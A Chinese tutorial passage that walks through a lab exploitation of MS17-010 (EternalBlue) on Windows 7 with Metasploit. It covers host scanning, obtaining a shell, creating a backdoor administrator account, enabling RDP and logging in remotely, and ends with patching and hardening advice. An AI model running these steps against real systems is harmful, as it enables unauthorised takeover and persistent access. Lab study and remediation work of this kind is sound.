MS17-010(Eternal blue永恒之蓝)漏洞利用+修复方法

2024-06-22 17:12

本文主要是介绍MS17-010(Eternal blue永恒之蓝)漏洞利用+修复方法,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

一、漏洞简介

漏洞原理

影响版本

二、漏洞复现

三、复现过程

1、扫描局域网内的C段主机(主机发现)

扫描结果:

2.使用MSF的永恒之蓝漏洞模块

3.对主机进行扫描,查看其是否有永恒之蓝漏洞

4.准备攻击

四、漏洞利用

五、提升权限

1.创建新用户

2.将用户添加至管理员群组

3.查看端口的开启情况

六、远程登录

七、漏洞修复


一、漏洞简介

永恒之蓝(EternalBlue)是一个由美国国家安全局(NSA)开发的漏洞利用工具,最初在2017年由“影子经纪人”(Shadow Brokers)组织泄露。这个漏洞利用工具利用了Windows操作系统中的一个安全漏洞(CVE-2017-0144),允许攻击者远程执行代码,无需用户交互即可远程控制受感染的计算机。具体来说,它利用了Windows Server Message Block (SMB) v1协议中的漏洞,使得攻击者可以在目标系统上执行恶意代码,甚至可以在未经授权的情况下传播自身。

永恒之蓝漏洞的爆发引发了全球范围内的关注,尤其是在2017年的“惊叹号勒索软件”(WannaCry ransomware)攻击中,该漏洞被大规模利用,造成了数十万台计算机的感染和停机事件。这次攻击揭示了许多组织和公司在保护其网络安全方面的薄弱之处,也促使了更广泛的安全漏洞修复和网络防护措施的加强。

漏洞原理

永恒之蓝漏洞的利用基于Windows操作系统中的一个漏洞(CVE-2017-0144),主要涉及以下几个方面的技术细节:

  1. Windows SMB服务漏洞:漏洞利用了Windows操作系统中的Server Message Block (SMB) v1协议的一个安全漏洞。SMB协议是Windows系统用于文件和打印机共享的网络协议。

  2. 远程执行代码(RCE):漏洞允许攻击者通过发送特制的网络数据包,无需用户交互即可远程执行恶意代码。这使得攻击者可以获取目标系统的控制权。

  3. 无需身份验证:攻击者可以在不需要凭据或者认证的情况下利用漏洞,这使得漏洞的利用更为危险和普遍。

影响版本

永恒之蓝漏洞主要影响以下版本的Windows操作系统:

  • Windows Vista

  • Windows Server 2008

  • Windows 7

  • Windows Server 2008 R2

二、漏洞复现

环境

  1. 攻击机:Linux kali (IP:192.168.220.128)

  2. 靶机:Windows 7 旗舰版(IP;192.168.220.133)

环境说明:Windows 7 防火墙关闭,445端口打开,两台主机之间可以ping通

三、复现过程

1、扫描局域网内的C段主机(主机发现)

扫描结果:
  1. 192.168.220.2

    • 只有一个端口开放:53/tcp(domain)。这可能是一台运行DNS服务的设备。

  2. 192.168.220.128

    • 所有扫描的1000个端口都处于“ignored states”状态,表示这台主机在扫描时未给出具体的端口状态信息。这可能是由于网络或主机的防火墙设置等原因导致的。

  3. 192.168.220.133

    • 多个端口开放,包括80/tcp(http)、135/tcp(msrpc)、139/tcp(netbios-ssn)、445/tcp(microsoft-ds)、5357/tcp(wsdapi)以及一系列高端口(49152-49165/tcp)。

    • 这表明这台主机可能是一台Windows主机,同时运行了HTTP服务、Microsoft RPC服务、NetBIOS服务、以及一些未知用途的高端口服务。

2.使用MSF的永恒之蓝漏洞模块

打开MSF

msfconsole

这个界面每次都不相同。

搜索漏洞代码:ms17_010

search ms17_010

这里可以看到26个可以利用的模块及其描述:

  1. exploit/windows/smb/ms17_010_eternalblue

    • 揭露日期:2017-03-14

    • 等级:average

    • 检查:Yes

    • 描述:MS17-010 EternalBlue SMB远程Windows内核池损坏漏洞利用,用于执行远程代码。

    目标包括:

    • Windows 7

    • Windows Embedded Standard 7

    • Windows Server 2008 R2

    • Windows 8

    • Windows 8.1

    • Windows Server 2012

    • Windows 10 Pro

    • Windows 10 Enterprise Evaluation

    这个模块利用了SMB服务上的漏洞,通常使用的是TCP端口445。

  2. exploit/windows/smb/ms17_010_psexec

    • 揭露日期:2017-03-14

    • 等级:normal

    • 检查:Yes

    • 描述:MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB远程Windows代码执行漏洞利用。

    目标包括:

    • 自动目标

    • PowerShell

    • 本地上传(Native upload)

    • MOF上传(MOF upload)

    这个模块利用了SMB服务上的漏洞,同样使用的是TCP端口445。

  3. auxiliary/admin/smb/ms17_010_command

    • 揭露日期:2017-03-14

    • 等级:normal

    • 检查:No

    • 描述:MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB远程Windows命令执行辅助模块。

    这个模块用于执行远程命令,同样是基于SMB服务上的漏洞,端口也是TCP端口445。

  4. auxiliary/scanner/smb/smb_ms17_010

    • 揭露日期:未指定

    • 等级:normal

    • 检查:No

    • 描述:MS17-010 SMB远程执行代码检测辅助模块。

    这个模块用于检测目标系统是否受到MS17-010漏洞的影响,同样基于SMB服务,端口是TCP端口445。

3.对主机进行扫描,查看其是否有永恒之蓝漏洞

使用模块24开始攻击:use 24,也可以用use scanner/smb/smb_ms17_010

options查看需要设置的参数

设置目标主机set rhost 192.168.220.133,设置成功会返回rhost的值,用run开始

  • VULNERABLE to MS17-010:扫描结果显示目标主机存在MS17-010漏洞,即永恒之蓝漏洞。

  • 操作系统信息:目标主机运行的是 Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit) 操作系统。

4.准备攻击

使用模块0开始攻击:use 0,也可以用use windows/smb/ms17_010_eternalblue

查看需要设置的参数:options

设置目标ip地址

set rhost 192.168.220.133

run

看到win说明成功

四、漏洞利用

获取靶机shell

shell

乱码是因为linux和windows的编码方式不同导致

使用代码:chcp 65001

查看IP:ipconfig

五、提升权限

1.创建新用户

net user bai 123456 /add

bai是用户名,12456是密码

2.将用户添加至管理员群组

net localgroup administrators bai /add

3.查看端口的开启情况

netstat -ano

4.开启3389端口

输入exit退出命令行,在meterpreter中输入run post/windows/manage/enable_rdp

查看端口

成功开启3389端口

六、远程登录

打开一个新终端,输入rdesktop 192.168.220.133

中途会让确认,输入yes确认

选择其他用户

输入我们刚才新加的用户名和密码

登录成功!

七、漏洞修复

永恒之蓝漏洞(EternalBlue)是一个影响Windows操作系统的严重安全漏洞,可被用于远程执行代码攻击。微软已经发布了修复补丁来解决这个漏洞,以及其他相关的安全更新。以下是修复永恒之蓝漏洞的主要方法:

  1. 安装官方补丁

    • 确保系统上安装了最新的安全补丁。微软已经发布了修复EternalBlue漏洞的补丁。您可以访问微软的官方网站或使用Windows Update来获取并安装最新的安全补丁。

  2. 更新操作系统

    • 确保操作系统是最新的版本,并且所有的安全更新和补丁都已安装。及时更新操作系统是保持系统安全的重要步骤之一。

  3. 禁用不必要的服务

    • 如果不需要使用远程桌面服务(RDP)或SMB服务,可以考虑禁用或限制它们的使用。尽可能减少系统暴露在外部攻击面。

  4. 配置防火墙

    • 在防火墙上设置规则,限制远程访问和网络流量,防止未经授权的访问和攻击。

  5. 网络隔离

    • 将重要的系统和网络基础设施隔离在内部网络中,减少来自外部网络的直接访问。

  6. 使用安全软件

    • 安装和使用有效的安全软件,如防病毒软件、防火墙和入侵检测系统(IDS),帮助识别和阻止潜在的威胁。

这篇关于MS17-010(Eternal blue永恒之蓝)漏洞利用+修复方法的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1084909

相关文章

Window Server2016加入AD域的方法步骤

《WindowServer2016加入AD域的方法步骤》:本文主要介绍WindowServer2016加入AD域的方法步骤,包括配置DNS、检测ping通、更改计算机域、输入账号密码、重启服务... 目录一、 准备条件二、配置ServerB加入ServerA的AD域(test.ly)三、查看加入AD域后的变

Window Server2016 AD域的创建的方法步骤

《WindowServer2016AD域的创建的方法步骤》本文主要介绍了WindowServer2016AD域的创建的方法步骤,文中通过图文介绍的非常详细,对大家的学习或者工作具有一定的参考学习价... 目录一、准备条件二、在ServerA服务器中常见AD域管理器:三、创建AD域,域地址为“test.ly”

NFS实现多服务器文件的共享的方法步骤

《NFS实现多服务器文件的共享的方法步骤》NFS允许网络中的计算机之间共享资源,客户端可以透明地读写远端NFS服务器上的文件,本文就来介绍一下NFS实现多服务器文件的共享的方法步骤,感兴趣的可以了解一... 目录一、简介二、部署1、准备1、服务端和客户端:安装nfs-utils2、服务端:创建共享目录3、服

Java 字符数组转字符串的常用方法

《Java字符数组转字符串的常用方法》文章总结了在Java中将字符数组转换为字符串的几种常用方法,包括使用String构造函数、String.valueOf()方法、StringBuilder以及A... 目录1. 使用String构造函数1.1 基本转换方法1.2 注意事项2. 使用String.valu

Python中使用defaultdict和Counter的方法

《Python中使用defaultdict和Counter的方法》本文深入探讨了Python中的两个强大工具——defaultdict和Counter,并详细介绍了它们的工作原理、应用场景以及在实际编... 目录引言defaultdict的深入应用什么是defaultdictdefaultdict的工作原理

使用Python进行文件读写操作的基本方法

《使用Python进行文件读写操作的基本方法》今天的内容来介绍Python中进行文件读写操作的方法,这在学习Python时是必不可少的技术点,希望可以帮助到正在学习python的小伙伴,以下是Pyth... 目录一、文件读取:二、文件写入:三、文件追加:四、文件读写的二进制模式:五、使用 json 模块读写

Oracle数据库使用 listagg去重删除重复数据的方法汇总

《Oracle数据库使用listagg去重删除重复数据的方法汇总》文章介绍了在Oracle数据库中使用LISTAGG和XMLAGG函数进行字符串聚合并去重的方法,包括去重聚合、使用XML解析和CLO... 目录案例表第一种:使用wm_concat() + distinct去重聚合第二种:使用listagg,

Java后端接口中提取请求头中的Cookie和Token的方法

《Java后端接口中提取请求头中的Cookie和Token的方法》在现代Web开发中,HTTP请求头(Header)是客户端与服务器之间传递信息的重要方式之一,本文将详细介绍如何在Java后端(以Sp... 目录引言1. 背景1.1 什么是 HTTP 请求头?1.2 为什么需要提取请求头?2. 使用 Spr

Java如何通过反射机制获取数据类对象的属性及方法

《Java如何通过反射机制获取数据类对象的属性及方法》文章介绍了如何使用Java反射机制获取类对象的所有属性及其对应的get、set方法,以及如何通过反射机制实现类对象的实例化,感兴趣的朋友跟随小编一... 目录一、通过反射机制获取类对象的所有属性以及相应的get、set方法1.遍历类对象的所有属性2.获取

Java中的Opencv简介与开发环境部署方法

《Java中的Opencv简介与开发环境部署方法》OpenCV是一个开源的计算机视觉和图像处理库,提供了丰富的图像处理算法和工具,它支持多种图像处理和计算机视觉算法,可以用于物体识别与跟踪、图像分割与... 目录1.Opencv简介Opencv的应用2.Java使用OpenCV进行图像操作opencv安装j